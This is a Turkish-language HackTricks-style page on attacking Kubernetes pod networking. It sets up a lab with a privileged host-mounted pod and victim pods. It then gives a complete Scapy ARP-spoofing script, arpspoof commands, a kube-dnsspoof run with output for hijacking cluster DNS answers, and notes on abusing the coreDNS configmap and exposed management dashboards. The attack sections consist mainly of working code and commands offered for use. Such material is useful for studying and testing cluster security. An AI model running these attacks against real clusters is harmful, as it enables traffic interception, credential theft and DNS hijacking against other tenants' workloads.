Kubernetes Ağ Saldırıları

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Giriş

Kubernetes’te, aynı düğümde bulunan tüm konteynerler arasında bağlantı kurulmasına izin veren bir varsayılan davranış gözlemlenmektedir. Bu, namespace farklılıklarına bakılmaksızın geçerlidir. Bu tür bir bağlantı, Layer 2 (Ethernet) seviyesine kadar uzanır. Sonuç olarak, bu yapılandırma sistemi potansiyel olarak zafiyetlere maruz bırakmaktadır. Özellikle, bu durum kötü niyetli bir konteynerin, aynı düğümde bulunan diğer konteynerlere karşı bir ARP sahtekarlığı saldırısı gerçekleştirmesine olanak tanır. Böyle bir saldırı sırasında, kötü niyetli konteyner, diğer konteynerler için hedeflenen ağ trafiğini aldatıcı bir şekilde kesebilir veya değiştirebilir.

ARP sahtekarlığı saldırıları, saldırganın yerel alan ağında sahte ARP (Adres Çözümleme Protokolü) mesajları göndermesini içerir. Bu, saldırganın MAC adresinin, ağdaki meşru bir bilgisayar veya sunucunun IP adresi ile ilişkilendirilmesine yol açar. Böyle bir saldırının başarılı bir şekilde gerçekleştirilmesinin ardından, saldırgan verileri kesebilir, değiştirebilir veya hatta iletimdeki verileri durdurabilir. Saldırı, OSI modelinin Layer 2’sinde gerçekleştirilir; bu nedenle Kubernetes’teki bu katmandaki varsayılan bağlantı güvenlik endişeleri doğurmaktadır.

Senaryoda 4 makine oluşturulacaktır:

  • ubuntu-pe: Düğüme kaçmak ve metrikleri kontrol etmek için ayrıcalıklı makine (saldırı için gerekli değil)
  • ubuntu-attack: Kötü niyetli konteyner varsayılan namespace’te
  • ubuntu-victim: kube-system namespace’inde Kurban makine
  • mysql: varsayılan namespace’te Kurban makine
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Temel Kubernetes Ağı

Eğer burada tanıtılan ağ konuları hakkında daha fazla detay istiyorsanız, referanslara gidin.

ARP

Genel olarak, düğüm içindeki pod-pod ağı tüm pod’ları bağlayan bir köprü aracılığıyla mevcuttur. Bu köprü “cbr0” olarak adlandırılır. (Bazı ağ eklentileri kendi köprülerini kuracaktır.) cbr0 ayrıca ARP (Adres Çözümleme Protokolü) çözümlemesini de gerçekleştirebilir. cbr0’a gelen bir paket geldiğinde, hedef MAC adresini ARP kullanarak çözümleyebilir.

Bu durum, varsayılan olarak, aynı düğümde çalışan her pod’un aynı düğümdeki (namespace bağımsız olarak) herhangi bir diğer pod ile ethernet seviyesinde (katman 2) iletişim kurabileceği anlamına gelir.

Warning

Bu nedenle, aynı düğümdeki podlar arasında ARP Spoofing saldırıları gerçekleştirmek mümkündür.

DNS

Kubernetes ortamlarında genellikle kube-system namespace’inde 1 (veya daha fazla) DNS hizmeti çalıştığını bulacaksınız:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Önceki bilgide ilginç bir şey görebilirsiniz, servisin IP’si 10.96.0.10 ama servisi çalıştıran pod’un IP’si 172.17.0.2.

Herhangi bir pod içinde DNS adresini kontrol ederseniz, şöyle bir şey bulacaksınız:

cat /etc/resolv.conf
nameserver 10.96.0.10

Ancak, pod o adrese nasıl ulaşacağını bilmiyor çünkü bu durumda pod aralığı 172.17.0.10/26.

Bu nedenle, pod DNS isteklerini 10.96.0.10 adresine gönderecek ve bu istek cbr0 tarafından 172.17.0.2’ye çevrilecektir.

Warning

Bu, bir podun DNS isteğinin her zaman servis IP’sini endpoint IP’sine çevirmek için köprüye gideceği anlamına gelir, DNS sunucusu pod ile aynı alt ağda olsa bile.

Bunu bilerek ve ARP saldırılarının mümkün olduğunu bilerek, bir pod bir düğümde her podun alt ağdaki ve köprü arasındaki trafiği yakalayabilir ve DNS sunucusundan gelen DNS yanıtlarını değiştirebilir (DNS Spoofing).

Dahası, eğer DNS sunucusu saldırganla aynı düğümde ise, saldırgan kümedeki herhangi bir podun tüm DNS isteklerini (DNS sunucusu ile köprü arasında) yakalayabilir ve yanıtları değiştirebilir.

Aynı Düğümdeki Podlarda ARP Spoofing

Amacımız en azından ubuntu-victim ile mysql arasındaki iletişimi çalmak.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Daha önce belirtildiği gibi, eğer DNS sunucu pod’unun aynı düğümünde bir pod’u ele geçirirseniz, ARPSpoofing ile köprü ve DNS pod’u arasında MitM yapabilir ve tüm DNS yanıtlarını değiştirebilirsiniz.

Bunu test etmek için gerçekten güzel bir araç ve eğitim var https://github.com/danielsagi/kube-dnsspoof/

Senaryomuzda, saldırgan pod’da aracı indirin ve spoof yapmak istediğiniz alan adlarıyla hosts adında bir dosya oluşturun:

cat hosts
google.com. 1.1.1.1

Ubuntu-mağdur makinesine saldırıyı gerçekleştir:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Note

Kendi DNS sahtekarlığı scriptinizi oluşturmaya çalışırsanız, eğer sadece DNS yanıtını değiştirirseniz bu çalışmayacak, çünkü yanıt bir src IP olarak kötü niyetli pod’un IP adresini içerecek ve kabul edilmeyecek.
Kurbanın DNS isteğini gönderdiği DNS’in src IP’sine sahip yeni bir DNS paketi oluşturmanız gerekiyor (bu, 172.16.0.2 gibi bir şeydir, 10.96.0.10 değil, bu K8s DNS hizmetinin IP’sidir ve DNS sunucusunun IP’si değildir, bununla ilgili daha fazla bilgi giriş bölümünde bulunmaktadır).

DNS Spoofing via coreDNS configmap

Kube-system ad alanındaki coredns configmap’inde yazma izinlerine sahip bir kullanıcı, kümenin DNS yanıtlarını değiştirebilir.

Bu saldırı hakkında daha fazla bilgi için kontrol edin:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}

Açık kubernetes yönetim hizmetlerini istismar etme

Apache NiFi, Kubeflow, Argo Workflows, Weave Scope ve Kubernetes kontrol paneli gibi hizmetler genellikle ya internete ya da kubernetes ağına açılır. Kubernetes’i yönetmek için kullanılan herhangi bir platformu bulup erişmeyi başaran bir saldırgan, bunu kullanarak kubernetes API’sine erişebilir ve yeni pod’lar oluşturma, mevcut olanları değiştirme veya hatta silme gibi işlemler gerçekleştirebilir.

Kubernetes ağ politikalarını listeleme

Yapılandırılmış networkpolicies’leri alın:

kubectl get networkpolicies --all-namespaces

Callico ağ politikalarını al:

kubectl get globalnetworkpolicy --all-namespaces

Cillium ağ politikalarını al:

kubectl get ciliumnetworkpolicy --all-namespaces

Ağ eklentiniz veya güvenlik çözümünüz tarafından kurulan diğer politika ile ilgili CRD’leri alın:

kubectl get crd | grep -i policy

Trafiği Yakalama

Araç Mizu, mikro hizmetler arasındaki tüm API iletişimini **görmenizi sağlayan basit ama güçlü bir API trafik görüntüleyicisidir. Bu, hataları ayıklamanıza ve gerilemeleri çözmenize yardımcı olur.
Seçilen pod’larda ajanlar kuracak ve trafik bilgilerini toplayacak ve bunları bir web sunucusunda gösterecektir. Ancak, bunun için yüksek K8s izinlerine ihtiyacınız olacak (ve çok gizli değil).

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin